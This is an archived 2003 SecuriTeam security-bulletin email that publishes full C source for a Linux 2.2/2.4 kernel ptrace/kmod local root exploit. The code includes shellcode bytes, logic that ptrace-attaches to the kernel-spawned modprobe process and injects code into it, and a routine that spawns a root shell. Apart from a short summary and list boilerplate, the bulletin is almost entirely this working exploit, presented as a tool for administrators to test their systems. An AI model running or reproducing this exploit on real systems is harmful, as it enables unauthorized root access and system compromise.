[EXPL] OpenSSL Ptrace Exploit Code

From: support@securiteam.com
Date: 03/30/03

  • Next message: support@securiteam.com: "[TOOL] Anti-Ptrace Linux LKM"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 30 Mar 2003 13:05:39 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      OpenSSL Ptrace Exploit Code
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html> Ptrace Vulnerability
    Allows Gaining of Elevated Privileges under Linux , a vulnerability in
    ptrace allows attackers to cause the local Linux OS to yield elevated
    privileges. The following exploit code will allow administrators to test
    their system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /*
     * Linux kernel ptrace/kmod local root exploit
     *
     * This code exploits a race condition in kernel/kmod.c, which creates
     * kernel thread in insecure manner. This bug allows to ptrace cloned
     * process, allowing to take control over privileged modprobe binary.
     *
     * Should work under all current 2.2.x and 2.4.x kernels.
     *
     * I discovered this stupid bug independently on January 25, 2003, that
     * is (almost) two month before it was fixed and published by Red Hat
     * and others.
     *
     * Wojciech Purczynski <cliph@isec.pl>
     *
     * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
     * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
     *
     * (c) 2003 Copyright by iSEC Security Research
     */

    #include <grp.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <paths.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/param.h>
    #include <sys/types.h>
    #include <sys/ptrace.h>
    #include <sys/socket.h>
    #include <linux/user.h>

    char cliphcode[] =
      "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
      "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
      "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
      "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
      "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

    #define CODE_SIZE (sizeof(cliphcode) - 1)

    pid_t parent = 1;
    pid_t child = 1;
    pid_t victim = 1;
    volatile int gotchild = 0;

    void fatal(char * msg)
    {
      perror(msg);
      kill(parent, SIGKILL);
      kill(child, SIGKILL);
      kill(victim, SIGKILL);
    }

    void putcode(unsigned long * dst)
    {
      char buf[MAXPATHLEN + CODE_SIZE];
      unsigned long * src;
      int i, len;

      memcpy(buf, cliphcode, CODE_SIZE);
      len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
      if (len == -1)
        fatal("[-] Unable to read /proc/self/exe");

      len += CODE_SIZE + 1;
      buf[len] = '\0';
      
      src = (unsigned long*) buf;
      for (i = 0; i < len; i += 4)
        if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
          fatal("[-] Unable to write shellcode");
    }

    void sigchld(int signo)
    {
      struct user_regs_struct regs;

      if (gotchild++ == 0)
        return;
      
      fprintf(stderr, "[+] Signal caught\n");

      if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
        fatal("[-] Unable to read registers");
      
      fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
      
      putcode((unsigned long *)regs.eip);

      fprintf(stderr, "[+] Now wait for suid shell...\n");

      if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
        fatal("[-] Unable to detach from victim");

      exit(0);
    }

    void sigalrm(int signo)
    {
      errno = ECANCELED;
      fatal("[-] Fatal error");
    }

    void do_child(void)
    {
      int err;

      child = getpid();
      victim = child + 1;

      signal(SIGCHLD, sigchld);

      do
        err = ptrace(PTRACE_ATTACH, victim, 0, 0);
      while (err == -1 && errno == ESRCH);

      if (err == -1)
        fatal("[-] Unable to attach");

      fprintf(stderr, "[+] Attached to %d\n", victim);
      while (!gotchild) ;
      if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
        fatal("[-] Unable to setup syscall trace");
      fprintf(stderr, "[+] Waiting for signal\n");

      for(;;);
    }

    void do_parent(char * progname)
    {
      struct stat st;
      int err;
      errno = 0;
      socket(AF_SECURITY, SOCK_STREAM, 1);
      do {
        err = stat(progname, &st);
      } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
      
      if (err == -1)
        fatal("[-] Unable to stat myself");

      alarm(0);
      system(progname);
    }

    void prepare(void)
    {
      if (geteuid() == 0) {
        initgroups("root", 0);
        setgid(0);
        setuid(0);
        execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
        fatal("[-] Unable to spawn shell");
      }
    }

    int main(int argc, char ** argv)
    {
      prepare();
      signal(SIGALRM, sigalrm);
      alarm(10);
      
      parent = getpid();
      child = fork();
      victim = child + 1;
      
      if (child == -1)
        fatal("[-] Unable to fork");

      if (child == 0)
        do_child();
      else
        do_parent(argv[0]);

      return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cliph@isec.pl> Wojciech
    Purczynski.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support@securiteam.com: "[TOOL] Anti-Ptrace Linux LKM"

    Relevant Pages

    • [EXPL] Tanne Format String Exploit Code
      ... Beyond Security would like to welcome Tiscali World Online ... secure session-management solution for HTTP. ... int flag; ... void usage; ...
      (Securiteam)
    • [EXPL] Ptrace Exploit Code Released
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... void putcode ... int i, len; ...
      (Securiteam)
    • [EXPL] Prozilla Format String Vulnerability
      ... Get your security news from a reliable source. ... ProZilla contains several buffer overflow vulnerabilities that can ... void usage ... int find_xor ...
      (Securiteam)
    • [EXPL] vBulletin Calendar Command Execution Vulnerability (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... of the operating system, possibly the complete operating system (by ... char exploit; ... void interactive; ...
      (Securiteam)
    • [UNIX] Runas Vulnerable to Format String Attack
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... 470 (void) strncpy; ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)